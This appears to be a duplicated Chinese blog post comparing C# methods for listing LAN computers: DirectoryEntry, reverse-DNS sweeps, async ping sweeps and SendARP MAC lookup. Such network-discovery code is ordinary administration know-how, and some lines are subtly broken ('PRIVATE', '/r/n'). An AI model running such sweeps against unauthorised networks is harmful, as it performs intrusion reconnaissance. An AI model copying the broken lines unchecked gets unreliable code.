3、使用System.Net.NetworkInformation.Ping来遍历局域网
private void EnumComputers()
{
try
{
   for (int i = 1; i <= 255; i++)
   {
     Ping myPing;
     myPing = new Ping();
     myPing.PingCompleted += new PingCompletedEventHandler(_myPing_PingCompleted);
     string pingIP = "192.168.0." + i.ToString();
     myPing.SendAsync(pingIP, 1000, null);
   }
}
catch
{
}
}
PRIVATE void _myPing_PingCompleted(object sender, PingCompletedEventArgs e)
{
if (e.Reply.Status == IPStatus.Success)
{
    Console.WriteLine(e.Reply.Address.ToString() + "|" + Dns.GetHostByAddress(IPAddress.Parse(e.Reply.Address.ToString())).HostName);
}
}
效果评价:速度快,效率高,如果只取在线的IP,不取计算机名,速度会更快。
需要注意的是取计算机名称如果用Dns.GetHostByAddress取计算机名称,结果虽然正确,但VS2005会提示该方法已过时,但仍能使用。
如果用它推荐的替代方法Dns.GetHostEntry,则有个别计算机的名称会因超时而获得不到。

 获取局域网内的IP和MAC地址代码如下:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Net;
using System.Net.NetworkInformation;
namespace MacApp
{
    public partial class Form1 : Form
    {
        [DllImport("ws2_32.dll")]
        private static extern int inet_addr(string cp);
        [DllImport("IPHLPAPI.dll")]
        private static extern int SendARP(Int32 DestIP, Int32 SrcIP, ref Int64 pMacAddr, ref Int32 PhyAddrLen);
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            richTextBox1.Text = GetMacAddress(textBox1.Text);//获取远程IP(不能跨网段)的MAC地址
        }
        private string GetMacAddress(string hostip)//获取远程IP(不能跨网段)的MAC地址
        {
            string Mac = "";
            try
            {
                Int32 ldest = inet_addr(hostip); //将IP地址从 点数格式转换成无符号长整型
                Int64 macinfo = new Int64();
                Int32 len = 6;
                SendARP(ldest, 0, ref macinfo, ref len);
                string TmpMac = Convert.ToString(macinfo, 16).PadLeft(12, '0');//转换成16进制  注意有些没有十二位
                Mac = TmpMac.Substring(0, 2).ToUpper();//
                for (int i = 2; i < TmpMac.Length; i = i + 2)
                {
                    Mac = TmpMac.Substring(i, 2).ToUpper() + "-" + Mac;
                }
            }
            catch (Exception Mye)
            {
                Mac = "获取远程主机的MAC错误:" + Mye.Message;
            }
            return Mac;
        }
        private void Form1_Load(object sender, EventArgs e)
        {
            if (Dns.GetHostEntry(Dns.GetHostName()).AddressList.Length > 0)
            {
                textBox1.Text = Dns.GetHostEntry(Dns.GetHostName()).AddressList[0].ToString();//获取本机IP地址
            }
        }
        private void button2_Click(object sender, EventArgs e)
        {
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < 2; i++)
            {
                EnumComputers(i);
            }
        }
        private void EnumComputers(int n)
        {
            try
            {
                for (int i = 1; i <= 255; i++)
                {
                    Ping myPing;
                    myPing = new Ping();
                    myPing.PingCompleted += new PingCompletedEventHandler(myPing_PingCompleted);
                    string pingIP = "192.168." + n.ToString() + "." + i.ToString();
                    myPing.SendAsync(pingIP, 1000, null);
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
        private void myPing_PingCompleted(object sender, PingCompletedEventArgs e)
        {
            StringBuilder sb = new StringBuilder();
            if (e.Reply.Status == IPStatus.Success)
            {
                sb.Append("IP:" + e.Reply.Address.ToString() + "/r/n");
                string mac = GetMacAddress(e.Reply.Address.ToString());
                sb.Append("MAC:" + mac + "/r/n");
            }
            this.textBox2.Text += sb.ToString();
        }
    }
}

C# 获取局域网IP和MAC地址

C# 获取局域网IP和MAC地址

C#遍历局域网的几种方法及比较
扫描局域网IP列表的几种方法
很多软件都有获知局域网在线计算机IP的功能,但是在.net怎么实现呢,有好多方法,
下面我给大家介绍几种,供大家参考。

1、微软社区上介绍了使用Active Directory 来遍历局域网
利用DirectoryEntry组件来查看网络
网址:http://www.microsoft.com/china/communITy/program/originalarticles/techdoc/DirectoryEntry.mspx
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void EnumComputers()
{
    using(DirectoryEntry root = new DirectoryEntry("WinNT:"))
    {
      foreach(DirectoryEntry domain in root.Children)
      {
        Console.WriteLine("Domain | WorkGroup: "+domain.Name);
        foreach(DirectoryEntry computer in domain.Children)
    {
     Console.WriteLine("Computer: "+computer.Name);
    }
   }
}
}
效果评价:速度慢,效率低,还有一个无效结果 Computer: Schema 使用的过程中注意虑掉。

2、利用Dns.GetHostByAddress和IPHostEntry遍历局域网
?
private void EnumComputers()
{
for (int i = 1; i <= 255; i++)
{
string scanIP = "192.168.0." + i.ToString();
  
IPAddress myScanIP = IPAddress.Parse(scanIP);
  
IPHostEntry myScanHost = null;
  
try
{
    myScanHost = Dns.GetHostByAddress(myScanIP);
}
  
catch
{
    continue;
}
  
if (myScanHost != null)
{
    Console.WriteLine(scanIP+"|"+myScanHost.HostName);
}
}
}
效果评价:效率低,速度慢,不是一般的慢。
3、使用System.Net.NetworkInformation.Ping来遍历局域网
?
private void EnumComputers()
{
try
{
   for (int i = 1; i <= 255; i++)
   {
     Ping myPing;
     myPing = new Ping();
     myPing.PingCompleted += new PingCompletedEventHandler(_myPing_PingCompleted);
  
     string pingIP = "192.168.0." + i.ToString();
     myPing.SendAsync(pingIP, 1000, null);
   }
}
catch
{
}
}
  
PRIVATE void _myPing_PingCompleted(object sender, PingCompletedEventArgs e)
{
if (e.Reply.Status == IPStatus.Success)
{
    Console.WriteLine(e.Reply.Address.ToString() + "|" + Dns.GetHostByAddress(IPAddress.Parse(e.Reply.Address.ToString())).HostName);
}
  
}
 
效果评价:速度快,效率高,如果只取在线的IP,不取计算机名,速度会更快。
需要注意的是取计算机名称如果用Dns.GetHostByAddress取计算机名称,结果虽然正确,但VS2005会提示该方法已过时,但仍能使用。
如果用它推荐的替代方法Dns.GetHostEntry,则有个别计算机的名称会因超时而获得不到。
 获取局域网内的IP和MAC地址代码如下:
?
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
  
using System.Runtime.InteropServices;
using System.Net;
using System.Net.NetworkInformation;
  
namespace MacApp
{
  
    public partial class Form1 : Form
    {
        [DllImport("ws2_32.dll")]
        private static extern int inet_addr(string cp);
        [DllImport("IPHLPAPI.dll")]
        private static extern int SendARP(Int32 DestIP, Int32 SrcIP, ref Int64 pMacAddr, ref Int32 PhyAddrLen);
        public Form1()
        {
            InitializeComponent();
        }
  
 
        private void button1_Click(object sender, EventArgs e)
        {
            richTextBox1.Text = GetMacAddress(textBox1.Text);//获取远程IP(不能跨网段)的MAC地址
        }
        private string GetMacAddress(string hostip)//获取远程IP(不能跨网段)的MAC地址
        {
            string Mac = "";
            try
            {
                Int32 ldest = inet_addr(hostip); //将IP地址从 点数格式转换成无符号长整型
                Int64 macinfo = new Int64();
                Int32 len = 6;
                SendARP(ldest, 0, ref macinfo, ref len);
                string TmpMac = Convert.ToString(macinfo, 16).PadLeft(12, '0');//转换成16进制  注意有些没有十二位
                Mac = TmpMac.Substring(0, 2).ToUpper();//
                for (int i = 2; i < TmpMac.Length; i = i + 2)
                {
                    Mac = TmpMac.Substring(i, 2).ToUpper() + "-" + Mac;
                }
            }
            catch (Exception Mye)
            {
                Mac = "获取远程主机的MAC错误:" + Mye.Message;
            }
            return Mac;
        }
  
        private void Form1_Load(object sender, EventArgs e)
        {
            if (Dns.GetHostEntry(Dns.GetHostName()).AddressList.Length > 0)
            {
                textBox1.Text = Dns.GetHostEntry(Dns.GetHostName()).AddressList[0].ToString();//获取本机IP地址
            }
        }
  
        private void button2_Click(object sender, EventArgs e)
        {
  
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < 2; i++)
            {
                EnumComputers(i);
            }
  
        }
  
        private void EnumComputers(int n)
        {
  
            try
            {
                for (int i = 1; i <= 255; i++)
                {
                    Ping myPing;
                    myPing = new Ping();
                    myPing.PingCompleted += new PingCompletedEventHandler(myPing_PingCompleted);
  
                    string pingIP = "192.168." + n.ToString() + "." + i.ToString();
                    myPing.SendAsync(pingIP, 1000, null);
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
  
        private void myPing_PingCompleted(object sender, PingCompletedEventArgs e)
        {
            StringBuilder sb = new StringBuilder();
  
            if (e.Reply.Status == IPStatus.Success)
            {
                sb.Append("IP:" + e.Reply.Address.ToString() + "\r\n");
                string mac = GetMacAddress(e.Reply.Address.ToString());
                sb.Append("MAC:" + mac + "\r\n");
  
            }
            this.textBox2.Text += sb.ToString();
        }
  
    }
}